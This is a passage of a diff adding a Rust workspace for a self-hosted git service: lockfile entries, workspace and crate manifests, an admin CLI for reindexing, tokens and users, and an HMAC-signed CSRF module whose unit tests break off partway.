| 6009 | + | version = "0.52.6" | |
| 6010 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6011 | + | checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" | |
| 6012 | + | ||
| 6013 | + | [[package]] | |
| 6014 | + | name = "windows_x86_64_msvc" | |
| 6015 | + | version = "0.48.5" | |
| 6016 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6017 | + | checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" | |
| 6018 | + | ||
| 6019 | + | [[package]] | |
| 6020 | + | name = "windows_x86_64_msvc" | |
| 6021 | + | version = "0.52.6" | |
| 6022 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6023 | + | checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" | |
| 6024 | + | ||
| 6025 | + | [[package]] | |
| 6026 | + | name = "winnow" | |
| 6027 | + | version = "0.6.26" | |
| 6028 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6029 | + | checksum = "1e90edd2ac1aa278a5c4599b1d89cf03074b610800f866d4026dc199d7929a28" | |
| 6030 | + | dependencies = [ | |
| 6031 | + | "memchr", | |
| 6032 | + | ] | |
| 6033 | + | ||
| 6034 | + | [[package]] | |
| 6035 | + | name = "writeable" | |
| 6036 | + | version = "0.6.3" | |
| 6037 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6038 | + | checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" | |
| 6039 | + | ||
| 6040 | + | [[package]] | |
| 6041 | + | name = "xdg" | |
| 6042 | + | version = "2.5.2" | |
| 6043 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6044 | + | checksum = "213b7324336b53d2414b2db8537e56544d981803139155afa84f76eeebb7a546" | |
| 6045 | + | ||
| 6046 | + | [[package]] | |
| 6047 | + | name = "yaml-rust" | |
| 6048 | + | version = "0.4.5" | |
| 6049 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6050 | + | checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85" | |
| 6051 | + | dependencies = [ | |
| 6052 | + | "linked-hash-map", | |
| 6053 | + | ] | |
| 6054 | + | ||
| 6055 | + | [[package]] | |
| 6056 | + | name = "yoke" | |
| 6057 | + | version = "0.8.3" | |
| 6058 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6059 | + | checksum = "709fe23a0424b6a435d82152b1bd3fdfb0833487d5fa90d05d42762a9891fef5" | |
| 6060 | + | dependencies = [ | |
| 6061 | + | "stable_deref_trait", | |
| 6062 | + | "yoke-derive", | |
| 6063 | + | "zerofrom", | |
| 6064 | + | ] | |
| 6065 | + | ||
| 6066 | + | [[package]] | |
| 6067 | + | name = "yoke-derive" | |
| 6068 | + | version = "0.8.2" | |
| 6069 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6070 | + | checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e" | |
| 6071 | + | dependencies = [ | |
| 6072 | + | "proc-macro2", | |
| 6073 | + | "quote", | |
| 6074 | + | "syn 2.0.119", | |
| 6075 | + | "synstructure", | |
| 6076 | + | ] | |
| 6077 | + | ||
| 6078 | + | [[package]] | |
| 6079 | + | name = "zerocopy" | |
| 6080 | + | version = "0.8.55" | |
| 6081 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6082 | + | checksum = "b5a105cd7b140f6eeec8acff2ea38135d3cab283ada58540f629fe51e46696eb" | |
| 6083 | + | dependencies = [ | |
| 6084 | + | "zerocopy-derive", | |
| 6085 | + | ] | |
| 6086 | + | ||
| 6087 | + | [[package]] | |
| 6088 | + | name = "zerocopy-derive" | |
| 6089 | + | version = "0.8.55" | |
| 6090 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6091 | + | checksum = "0fe976fb70c78cd64cccfe3a6fc142244e8a77b70959b30faf9d0ac37ee228eb" | |
| 6092 | + | dependencies = [ | |
| 6093 | + | "proc-macro2", | |
| 6094 | + | "quote", | |
| 6095 | + | "syn 2.0.119", | |
| 6096 | + | ] | |
| 6097 | + | ||
| 6098 | + | [[package]] | |
| 6099 | + | name = "zerofrom" | |
| 6100 | + | version = "0.1.8" | |
| 6101 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6102 | + | checksum = "0ec05a11813ea801ff6d75110ad09cd0824ddba17dfe17128ea0d5f68e6c5272" | |
| 6103 | + | dependencies = [ | |
| 6104 | + | "zerofrom-derive", | |
| 6105 | + | ] | |
| 6106 | + | ||
| 6107 | + | [[package]] | |
| 6108 | + | name = "zerofrom-derive" | |
| 6109 | + | version = "0.1.7" | |
| 6110 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6111 | + | checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1" | |
| 6112 | + | dependencies = [ | |
| 6113 | + | "proc-macro2", | |
| 6114 | + | "quote", | |
| 6115 | + | "syn 2.0.119", | |
| 6116 | + | "synstructure", | |
| 6117 | + | ] | |
| 6118 | + | ||
| 6119 | + | [[package]] | |
| 6120 | + | name = "zeroize" | |
| 6121 | + | version = "1.9.0" | |
| 6122 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6123 | + | checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e" | |
| 6124 | + | ||
| 6125 | + | [[package]] | |
| 6126 | + | name = "zerotrie" | |
| 6127 | + | version = "0.2.4" | |
| 6128 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6129 | + | checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf" | |
| 6130 | + | dependencies = [ | |
| 6131 | + | "displaydoc", | |
| 6132 | + | "yoke", | |
| 6133 | + | "zerofrom", | |
| 6134 | + | ] | |
| 6135 | + | ||
| 6136 | + | [[package]] | |
| 6137 | + | name = "zerovec" | |
| 6138 | + | version = "0.11.6" | |
| 6139 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6140 | + | checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239" | |
| 6141 | + | dependencies = [ | |
| 6142 | + | "yoke", | |
| 6143 | + | "zerofrom", | |
| 6144 | + | "zerovec-derive", | |
| 6145 | + | ] | |
| 6146 | + | ||
| 6147 | + | [[package]] | |
| 6148 | + | name = "zerovec-derive" | |
| 6149 | + | version = "0.11.3" | |
| 6150 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6151 | + | checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555" | |
| 6152 | + | dependencies = [ | |
| 6153 | + | "proc-macro2", | |
| 6154 | + | "quote", | |
| 6155 | + | "syn 2.0.119", | |
| 6156 | + | ] | |
| 6157 | + | ||
| 6158 | + | [[package]] | |
| 6159 | + | name = "zmij" | |
| 6160 | + | version = "1.0.23" | |
| 6161 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 6162 | + | checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" | |
ACargo.toml+107−0
| @@ −0,0 +1,107 @@ | |||
| 1 | + | [workspace] | |
| 2 | + | resolver = "2" | |
| 3 | + | # Crates are added here as they land, so `cargo test` at the workspace root is | |
| 4 | + | # green at every commit rather than only at the end. | |
| 5 | + | members = [ | |
| 6 | + | "crates/df-index", | |
| 7 | + | "crates/df-db", | |
| 8 | + | "crates/df-auth", | |
| 9 | + | "crates/df-store", | |
| 10 | + | "crates/df-render", | |
| 11 | + | "crates/df-worker", | |
| 12 | + | "crates/df-admin", | |
| 13 | + | "crates/df-hook", | |
| 14 | + | "crates/df-ssh", | |
| 15 | + | "crates/df-web", | |
| 16 | + | ] | |
| 17 | + | ||
| 18 | + | [workspace.package] | |
| 19 | + | version = "0.1.0" | |
| 20 | + | edition = "2021" | |
| 21 | + | rust-version = "1.85" | |
| 22 | + | license = "Apache-2.0" | |
| 23 | + | ||
| 24 | + | [workspace.dependencies] | |
| 25 | + | # ─── async runtime ─────────────────────────────────────────────────────────── | |
| 26 | + | tokio = { version = "1", features = ["rt-multi-thread", "macros", "net", "io-util", "signal", "process", "time", "fs", "sync"] } | |
| 27 | + | async-trait = "0.1" | |
| 28 | + | futures = "0.3" | |
| 29 | + | ||
| 30 | + | # ─── errors, logging ───────────────────────────────────────────────────────── | |
| 31 | + | anyhow = "1" | |
| 32 | + | thiserror = "2" | |
| 33 | + | tracing = "0.1" | |
| 34 | + | tracing-subscriber = { version = "0.3", features = ["env-filter", "json"] } | |
| 35 | + | ||
| 36 | + | # ─── database ──────────────────────────────────────────────────────────────── | |
| 37 | + | # `postgres` + rustls: the provided instance requires sslmode=require. | |
| 38 | + | sqlx = { version = "0.8", default-features = false, features = [ | |
| 39 | + | "runtime-tokio", "tls-rustls-aws-lc-rs", "postgres", "uuid", "chrono", | |
| 40 | + | "json", "macros", "migrate", "ipnetwork", | |
| 41 | + | ] } | |
| 42 | + | uuid = { version = "1", features = ["v7", "serde"] } | |
| 43 | + | chrono = { version = "0.4", default-features = false, features = ["std", "serde", "clock"] } | |
| 44 | + | ||
| 45 | + | # ─── git plumbing ──────────────────────────────────────────────────────────── | |
| 46 | + | # CONSTRAINT (spec §3 rule 1): `gix` may appear ONLY in df-store's dependency | |
| 47 | + | # list. This is enforced by `scripts/check-store-boundary.sh` in CI. | |
| 48 | + | gix = { version = "0.68", default-features = false, features = [ | |
| 49 | + | "max-performance-safe", "blob-diff", "revision", "attributes", | |
| 50 | + | # Landing a change server-side (decided §13.2: fast-forward + merge commit). | |
| 51 | + | # `merge` brings the three-way tree merge; `tree-editor` writes its result. | |
| 52 | + | "merge", "tree-editor", | |
| 53 | + | ] } | |
| 54 | + | ||
| 55 | + | # ─── web ───────────────────────────────────────────────────────────────────── | |
| 56 | + | axum = { version = "0.8", features = ["macros", "http2"] } | |
| 57 | + | axum-extra = { version = "0.10", features = ["cookie", "typed-header"] } | |
| 58 | + | tower = { version = "0.5", features = ["util", "timeout", "limit"] } | |
| 59 | + | tower-http = { version = "0.6", features = ["trace", "compression-gzip", "set-header", "catch-panic", "limit"] } | |
| 60 | + | maud = { version = "0.27", features = ["axum"] } | |
| 61 | + | http = "1" | |
| 62 | + | hyper = "1" | |
| 63 | + | mime_guess = "2" | |
| 64 | + | ||
| 65 | + | # ─── auth ──────────────────────────────────────────────────────────────────── | |
| 66 | + | openidconnect = "4" | |
| 67 | + | argon2 = "0.5" | |
| 68 | + | rand = "0.8" | |
| 69 | + | base64 = "0.22" | |
| 70 | + | hmac = "0.12" | |
| 71 | + | sha2 = "0.10" | |
| 72 | + | subtle = "2" | |
| 73 | + | ||
| 74 | + | # ─── ssh ───────────────────────────────────────────────────────────────────── | |
| 75 | + | russh = "0.51" | |
| 76 | + | russh-keys = "0.49" | |
| 77 | + | # Parsing user-pasted public keys in df-auth. Upstream `ssh-key` rather than | |
| 78 | + | # russh's vendored fork: the SHA256 fingerprint format is standardised, so both | |
| 79 | + | # sides agree, and df-auth does not need to pull in an SSH server. | |
| 80 | + | ssh-key = { version = "0.6", features = ["ed25519", "ecdsa", "rsa"] } | |
| 81 | + | ||
| 82 | + | # ─── rendering ─────────────────────────────────────────────────────────────── | |
| 83 | + | comrak = "0.39" | |
| 84 | + | ammonia = "4" | |
| 85 | + | tree-sitter = "0.25" | |
| 86 | + | tree-sitter-highlight = "0.25" | |
| 87 | + | similar = { version = "2", features = ["text", "inline"] } | |
| 88 | + | ||
| 89 | + | # ─── misc ──────────────────────────────────────────────────────────────────── | |
| 90 | + | serde = { version = "1", features = ["derive"] } | |
| 91 | + | serde_json = "1" | |
| 92 | + | reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls"] } | |
| 93 | + | lru = "0.12" | |
| 94 | + | url = "2" | |
| 95 | + | percent-encoding = "2" | |
| 96 | + | clap = { version = "4", features = ["derive", "env"] } | |
| 97 | + | dotenvy = "0.15" | |
| 98 | + | hex = "0.4" | |
| 99 | + | ||
| 100 | + | [profile.release] | |
| 101 | + | # The indexer walks large object graphs; LTO and a single codegen unit are worth | |
| 102 | + | # the build time. `panic = "abort"` is deliberately NOT set — df-web catches | |
| 103 | + | # panics per-request via tower-http's CatchPanic so one bad diff cannot take the | |
| 104 | + | # process down (spec §8). | |
| 105 | + | lto = "thin" | |
| 106 | + | codegen-units = 1 | |
| 107 | + | strip = "debuginfo" | |
Acrates/df-admin/Cargo.toml+23−0
| @@ −0,0 +1,23 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-admin" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [[bin]] | |
| 9 | + | name = "dogfood-admin" | |
| 10 | + | path = "src/main.rs" | |
| 11 | + | ||
| 12 | + | [dependencies] | |
| 13 | + | df-db = { path = "../df-db" } | |
| 14 | + | df-auth = { path = "../df-auth" } | |
| 15 | + | ||
| 16 | + | anyhow.workspace = true | |
| 17 | + | chrono.workspace = true | |
| 18 | + | clap.workspace = true | |
| 19 | + | dotenvy.workspace = true | |
| 20 | + | serde_json.workspace = true | |
| 21 | + | sqlx.workspace = true | |
| 22 | + | tokio.workspace = true | |
| 23 | + | uuid.workspace = true | |
Acrates/df-admin/src/main.rs+218−0
| @@ −0,0 +1,218 @@ | |||
| 1 | + | //! `dogfood-admin` — operational CLI. | |
| 2 | + | //! | |
| 3 | + | //! Spec §4 requires `dogfood-admin reindex --repo <id>`, safe to run against a | |
| 4 | + | //! live repository, "because you will need it every time indexing logic | |
| 5 | + | //! changes". Spec §10 adds `reindex --all` as the recovery path when the | |
| 6 | + | //! database and the repository volume drift apart after a restore. | |
| 7 | + | ||
| 8 | + | use anyhow::{Context, Result}; | |
| 9 | + | use clap::{Parser, Subcommand}; | |
| 10 | + | use df_db::ids::new_id; | |
| 11 | + | use uuid::Uuid; | |
| 12 | + | ||
| 13 | + | #[derive(Parser)] | |
| 14 | + | #[command(name = "dogfood-admin", about = "Dogfood operational commands")] | |
| 15 | + | struct Cli { | |
| 16 | + | #[arg(long, env = "DATABASE_URL")] | |
| 17 | + | database_url: String, | |
| 18 | + | ||
| 19 | + | #[command(subcommand)] | |
| 20 | + | command: Command, | |
| 21 | + | } | |
| 22 | + | ||
| 23 | + | #[derive(Subcommand)] | |
| 24 | + | enum Command { | |
| 25 | + | /// Re-run indexing. Safe against a live repository. | |
| 26 | + | Reindex { | |
| 27 | + | /// Repository UUID. Omit with --all. | |
| 28 | + | #[arg(long)] | |
| 29 | + | repo: Option<Uuid>, | |
| 30 | + | /// Reindex every repository. | |
| 31 | + | #[arg(long)] | |
| 32 | + | all: bool, | |
| 33 | + | }, | |
| 34 | + | /// Manage personal access tokens. | |
| 35 | + | Token { | |
| 36 | + | #[command(subcommand)] | |
| 37 | + | command: TokenCommand, | |
| 38 | + | }, | |
| 39 | + | /// Manage users. | |
| 40 | + | User { | |
| 41 | + | #[command(subcommand)] | |
| 42 | + | command: UserCommand, | |
| 43 | + | }, | |
| 44 | + | /// Invite an email address to a closed instance. | |
| 45 | + | Invite { | |
| 46 | + | #[arg(long)] | |
| 47 | + | email: String, | |
| 48 | + | }, | |
| 49 | + | } | |
| 50 | + | ||
| 51 | + | #[derive(Subcommand)] | |
| 52 | + | enum TokenCommand { | |
| 53 | + | /// Mint a token. The plaintext is printed once and never stored. | |
| 54 | + | Create { | |
| 55 | + | #[arg(long)] | |
| 56 | + | handle: String, | |
| 57 | + | #[arg(long, default_value = "admin-cli")] | |
| 58 | + | name: String, | |
| 59 | + | }, | |
| 60 | + | List { | |
| 61 | + | #[arg(long)] | |
| 62 | + | handle: String, | |
| 63 | + | }, | |
| 64 | + | } | |
| 65 | + | ||
| 66 | + | #[derive(Subcommand)] | |
| 67 | + | enum UserCommand { | |
| 68 | + | List, | |
| 69 | + | /// Grant or revoke site admin. | |
| 70 | + | Admin { | |
| 71 | + | #[arg(long)] | |
| 72 | + | handle: String, | |
| 73 | + | #[arg(long)] | |
| 74 | + | revoke: bool, | |
| 75 | + | }, | |
| 76 | + | } | |
| 77 | + | ||
| 78 | + | #[tokio::main] | |
| 79 | + | async fn main() -> Result<()> { | |
| 80 | + | let _ = dotenvy::dotenv(); | |
| 81 | + | let cli = Cli::parse(); | |
| 82 | + | ||
| 83 | + | let db = df_db::connect(&cli.database_url, 4) | |
| 84 | + | .await | |
| 85 | + | .context("connecting to the database")?; | |
| 86 | + | ||
| 87 | + | match cli.command { | |
| 88 | + | Command::Reindex { repo, all } => reindex(&db, repo, all).await, | |
| 89 | + | Command::Token { command } => match command { | |
| 90 | + | TokenCommand::Create { handle, name } => create_token(&db, &handle, &name).await, | |
| 91 | + | TokenCommand::List { handle } => list_tokens(&db, &handle).await, | |
| 92 | + | }, | |
| 93 | + | Command::User { command } => match command { | |
| 94 | + | UserCommand::List => list_users(&db).await, | |
| 95 | + | UserCommand::Admin { handle, revoke } => set_admin(&db, &handle, !revoke).await, | |
| 96 | + | }, | |
| 97 | + | Command::Invite { email } => invite(&db, &email).await, | |
| 98 | + | } | |
| 99 | + | } | |
| 100 | + | ||
| 101 | + | /// Enqueue indexing rather than doing it inline. | |
| 102 | + | /// | |
| 103 | + | /// The worker owns indexing, so routing through the queue means the CLI and a | |
| 104 | + | /// push take exactly the same code path — there is no second implementation to | |
| 105 | + | /// drift. | |
| 106 | + | async fn reindex(db: &df_db::PgPool, repo: Option<Uuid>, all: bool) -> Result<()> { | |
| 107 | + | let repos: Vec<(Uuid,)> = if all { | |
| 108 | + | sqlx::query_as("SELECT id FROM repos ORDER BY created_at") | |
| 109 | + | .fetch_all(db) | |
| 110 | + | .await? | |
| 111 | + | } else { | |
| 112 | + | let id = repo.context("pass --repo <uuid> or --all")?; | |
| 113 | + | sqlx::query_as("SELECT id FROM repos WHERE id = $1") | |
| 114 | + | .bind(id) | |
| 115 | + | .fetch_all(db) | |
| 116 | + | .await? | |
| 117 | + | }; | |
| 118 | + | ||
| 119 | + | if repos.is_empty() { | |
| 120 | + | println!("no matching repositories"); | |
| 121 | + | return Ok(()); | |
| 122 | + | } | |
| 123 | + | ||
| 124 | + | for (id,) in &repos { | |
| 125 | + | sqlx::query("INSERT INTO jobs (id, kind, payload) VALUES ($1, 'index_push', $2)") | |
| 126 | + | .bind(new_id()) | |
| 127 | + | .bind(serde_json::json!({ "repo_id": id })) | |
| 128 | + | .execute(db) | |
| 129 | + | .await?; | |
| 130 | + | println!("queued reindex for {id}"); | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | println!("\n{} job(s) queued; the worker will pick them up.", repos.len()); | |
| 134 | + | Ok(()) | |
| 135 | + | } | |
| 136 | + | ||
| 137 | + | async fn create_token(db: &df_db::PgPool, handle: &str, name: &str) -> Result<()> { | |
| 138 | + | let (user_id,): (Uuid,) = sqlx::query_as("SELECT id FROM users WHERE handle = $1") | |
| 139 | + | .bind(handle) | |
| 140 | + | .fetch_optional(db) | |
| 141 | + | .await? | |
| 142 | + | .with_context(|| format!("no user with handle {handle}"))?; | |
| 143 | + | ||
| 144 | + | let token = df_auth::tokens::create(db, user_id, name, &[], None).await?; | |
| 145 | + | ||
| 146 | + | println!("Token created for {handle}."); | |
| 147 | + | println!("\n {}\n", token.plaintext); | |
| 148 | + | println!("This is shown once — only an Argon2id hash is stored."); | |
| 149 | + | println!("Use it as the password for git over HTTPS, with {handle} as the username."); | |
| 150 | + | Ok(()) | |
| 151 | + | } | |
| 152 | + | ||
| 153 | + | async fn list_tokens(db: &df_db::PgPool, handle: &str) -> Result<()> { | |
| 154 | + | let rows: Vec<(String, String, Option<chrono::DateTime<chrono::Utc>>)> = sqlx::query_as( | |
| 155 | + | "SELECT t.name, t.prefix, t.last_used_at | |
| 156 | + | FROM access_tokens t JOIN users u ON u.id = t.user_id | |
| 157 | + | WHERE u.handle = $1 ORDER BY t.created_at DESC", | |
| 158 | + | ) | |
| 159 | + | .bind(handle) | |
| 160 | + | .fetch_all(db) | |
| 161 | + | .await?; | |
| 162 | + | ||
| 163 | + | if rows.is_empty() { | |
| 164 | + | println!("no tokens for {handle}"); | |
| 165 | + | return Ok(()); | |
| 166 | + | } | |
| 167 | + | for (name, prefix, used) in rows { | |
| 168 | + | println!( | |
| 169 | + | "{prefix}… {name:<24} last used: {}", | |
| 170 | + | used.map(|t| t.to_rfc3339()).unwrap_or_else(|| "never".into()) | |
| 171 | + | ); | |
| 172 | + | } | |
| 173 | + | Ok(()) | |
| 174 | + | } | |
| 175 | + | ||
| 176 | + | async fn list_users(db: &df_db::PgPool) -> Result<()> { | |
| 177 | + | let rows: Vec<(String, Option<String>, bool)> = | |
| 178 | + | sqlx::query_as("SELECT handle::text, email::text, is_admin FROM users ORDER BY created_at") | |
| 179 | + | .fetch_all(db) | |
| 180 | + | .await?; | |
| 181 | + | for (handle, email, admin) in rows { | |
| 182 | + | println!( | |
| 183 | + | "{handle:<20} {:<32} {}", | |
| 184 | + | email.unwrap_or_else(|| "(no email)".into()), | |
| 185 | + | if admin { "admin" } else { "" } | |
| 186 | + | ); | |
| 187 | + | } | |
| 188 | + | Ok(()) | |
| 189 | + | } | |
| 190 | + | ||
| 191 | + | async fn set_admin(db: &df_db::PgPool, handle: &str, grant: bool) -> Result<()> { | |
| 192 | + | let r = sqlx::query("UPDATE users SET is_admin = $2 WHERE handle = $1") | |
| 193 | + | .bind(handle) | |
| 194 | + | .bind(grant) | |
| 195 | + | .execute(db) | |
| 196 | + | .await?; | |
| 197 | + | if r.rows_affected() == 0 { | |
| 198 | + | anyhow::bail!("no user with handle {handle}"); | |
| 199 | + | } | |
| 200 | + | println!( | |
| 201 | + | "{handle} is {} a site administrator", | |
| 202 | + | if grant { "now" } else { "no longer" } | |
| 203 | + | ); | |
| 204 | + | Ok(()) | |
| 205 | + | } | |
| 206 | + | ||
| 207 | + | async fn invite(db: &df_db::PgPool, email: &str) -> Result<()> { | |
| 208 | + | sqlx::query( | |
| 209 | + | "INSERT INTO invitations (id, email) VALUES ($1, $2) | |
| 210 | + | ON CONFLICT (email) DO NOTHING", | |
| 211 | + | ) | |
| 212 | + | .bind(new_id()) | |
| 213 | + | .bind(email) | |
| 214 | + | .execute(db) | |
| 215 | + | .await?; | |
| 216 | + | println!("{email} may now sign in."); | |
| 217 | + | Ok(()) | |
| 218 | + | } | |
Acrates/df-auth/Cargo.toml+26−0
| @@ −0,0 +1,26 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-auth" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [dependencies] | |
| 9 | + | df-db = { path = "../df-db" } | |
| 10 | + | ||
| 11 | + | anyhow.workspace = true | |
| 12 | + | argon2.workspace = true | |
| 13 | + | chrono.workspace = true | |
| 14 | + | hex.workspace = true | |
| 15 | + | hmac.workspace = true | |
| 16 | + | openidconnect.workspace = true | |
| 17 | + | rand.workspace = true | |
| 18 | + | serde.workspace = true | |
| 19 | + | serde_json.workspace = true | |
| 20 | + | sha2.workspace = true | |
| 21 | + | sqlx.workspace = true | |
| 22 | + | ssh-key.workspace = true | |
| 23 | + | thiserror.workspace = true | |
| 24 | + | subtle.workspace = true | |
| 25 | + | tracing.workspace = true | |
| 26 | + | uuid.workspace = true | |
Acrates/df-auth/src/csrf.rs+134−0
| @@ −0,0 +1,134 @@ | |||
| 1 | + | //! CSRF protection: double-submit cookie (spec §7). | |
| 2 | + | //! | |
| 3 | + | //! "CSRF: double-submit cookie, validated on every non-GET. Add the token via | |
| 4 | + | //! `hx-headers` on the body element." | |
| 5 | + | //! | |
| 6 | + | //! The cookie value is `<random>.<hmac>` so the server can tell its own token | |
| 7 | + | //! from one an attacker planted via a cookie-injection bug on a sibling | |
| 8 | + | //! subdomain. Cookies do not respect origin boundaries the way headers do, so a | |
| 9 | + | //! plain unauthenticated random value is weaker than it looks. | |
| 10 | + | ||
| 11 | + | use hmac::{Hmac, Mac}; | |
| 12 | + | use rand::RngCore; | |
| 13 | + | use sha2::Sha256; | |
| 14 | + | use subtle::ConstantTimeEq; | |
| 15 | + | ||
| 16 | + | pub const COOKIE_NAME: &str = "dogfood_csrf"; | |
| 17 | + | pub const HEADER_NAME: &str = "x-csrf-token"; | |
| 18 | + | pub const FORM_FIELD: &str = "_csrf"; | |
| 19 | + | ||
| 20 | + | type HmacSha256 = Hmac<Sha256>; | |
| 21 | + | ||
| 22 | + | /// Mint a signed CSRF token. | |
| 23 | + | pub fn issue(secret: &[u8]) -> String { | |
| 24 | + | let mut nonce = [0u8; 16]; | |
| 25 | + | rand::thread_rng().fill_bytes(&mut nonce); | |
| 26 | + | let nonce_hex = hex::encode(nonce); | |
| 27 | + | let tag = sign(secret, &nonce_hex); | |
| 28 | + | format!("{nonce_hex}.{tag}") | |
| 29 | + | } | |
| 30 | + | ||
| 31 | + | fn sign(secret: &[u8], nonce: &str) -> String { | |
| 32 | + | let mut mac = HmacSha256::new_from_slice(secret).expect("HMAC accepts any key length"); | |
| 33 | + | mac.update(nonce.as_bytes()); | |
| 34 | + | hex::encode(mac.finalize().into_bytes()) | |
| 35 | + | } | |
| 36 | + | ||
| 37 | + | /// Whether a token is well-formed and carries our signature. | |
| 38 | + | pub fn is_valid(secret: &[u8], token: &str) -> bool { | |
| 39 | + | let Some((nonce, tag)) = token.split_once('.') else { | |
| 40 | + | return false; | |
| 41 | + | }; | |
| 42 | + | if nonce.len() != 32 || tag.len() != 64 { | |
| 43 | + | return false; | |
| 44 | + | } | |
| 45 | + | let expected = sign(secret, nonce); | |
| 46 | + | expected.as_bytes().ct_eq(tag.as_bytes()).into() | |
| 47 | + | } | |
| 48 | + | ||
| 49 | + | /// Validate a request: the cookie and the submitted value must both be present, | |
| 50 | + | /// both be authentic, and match each other. | |
| 51 | + | /// | |
| 52 | + | /// Comparison is constant-time. The equality check matters as much as the | |
| 53 | + | /// signature: an attacker who can plant a cookie but cannot read it still must | |
| 54 | + | /// not be able to submit a matching header. | |
| 55 | + | pub fn verify(secret: &[u8], cookie_value: Option<&str>, submitted: Option<&str>) -> bool { | |
| 56 | + | let (Some(cookie), Some(submitted)) = (cookie_value, submitted) else { | |
| 57 | + | return false; | |
| 58 | + | }; | |
| 59 | + | if !is_valid(secret, cookie) { | |
| 60 | + | return false; | |
| 61 | + | } | |
| 62 | + | let eq: bool = cookie.as_bytes().ct_eq(submitted.as_bytes()).into(); | |
| 63 | + | eq | |
| 64 | + | } | |
| 65 | + | ||
| 66 | + | #[cfg(test)] | |
| 67 | + | mod tests { | |
| 68 | + | use super::*; | |
| 69 | + | ||
| 70 | + | const SECRET: &[u8] = b"test-secret-value-for-csrf-tokens"; | |
| 71 | + | ||
| 72 | + | #[test] | |
| 73 | + | fn issued_tokens_validate() { | |
| 74 | + | let t = issue(SECRET); | |
| 75 | + | assert!(is_valid(SECRET, &t)); | |
| 76 | + | assert!(verify(SECRET, Some(&t), Some(&t))); | |
| 77 | + | } | |
| 78 | + | ||
| 79 | + | #[test] | |
| 80 | + | fn tokens_are_unique_per_issue() { | |
| 81 | + | assert_ne!(issue(SECRET), issue(SECRET)); | |
| 82 | + | } | |
| 83 | + | ||
| 84 | + | #[test] | |
| 85 | + | fn rejects_a_token_signed_with_another_secret() { | |
| 86 | + | // The attack a plain random double-submit cookie does not stop: an | |
| 87 | + | // attacker who can set cookies on the domain plants a value they know. | |
| 88 | + | let planted = issue(b"attacker-secret"); | |
| 89 | + | assert!(!is_valid(SECRET, &planted)); | |
| 90 | + | assert!(!verify(SECRET, Some(&planted), Some(&planted))); | |
| 91 | + | } | |
| 92 | + | ||
| 93 | + | #[test] | |
| 94 | + | fn rejects_mismatched_cookie_and_submission() { | |
| 95 | + | let a = issue(SECRET); | |
| 96 | + | let b = issue(SECRET); | |
| 97 | + | assert!( | |
| 98 | + | !verify(SECRET, Some(&a), Some(&b)), | |
| 99 | + | "two individually-valid tokens must still have to match each other" | |
| 100 | + | ); | |
| 101 | + | } | |
| 102 | + | ||
| 103 | + | #[test] | |
| 104 | + | fn rejects_missing_parts() { | |
| 105 | + | let t = issue(SECRET); | |
| 106 | + | assert!(!verify(SECRET, None, Some(&t))); | |
| 107 | + | assert!(!verify(SECRET, Some(&t), None)); | |
| 108 | + | assert!(!verify(SECRET, None, None)); | |
| 109 | + | } | |
| 110 | + | ||
| 111 | + | #[test] | |
| 112 | + | fn rejects_malformed_tokens() { | |
| 113 | + | for bad in [ | |
| 114 | + | "", | |
| 115 | + | "nodot", | |
| 116 | + | ".", | |
| 117 | + | "short.short", | |
| 118 | + | &format!("{}.{}", "a".repeat(32), "b".repeat(64)), // right shape, wrong tag | |
| 119 | + | &format!("{}.{}", "a".repeat(31), "b".repeat(64)), | |
| 120 | + | ] { | |
| 121 | + | assert!(!is_valid(SECRET, bad), "must reject {bad:?}"); | |
| 122 | + | } | |
| 123 | + | } | |
| 124 | + | ||
| 125 | + | #[test] | |
| 126 | + | fn a_tampered_nonce_invalidates_the_signature() { | |
| 127 | + | let t = issue(SECRET); | |
| 128 | + | let (nonce, tag) = t.split_once('.').unwrap(); | |
| 129 | + | let mut n: Vec<char> = nonce.chars().collect(); | |
| 130 | + | n[0] = if n[0] == 'a' { 'b' } else { 'a' }; | |
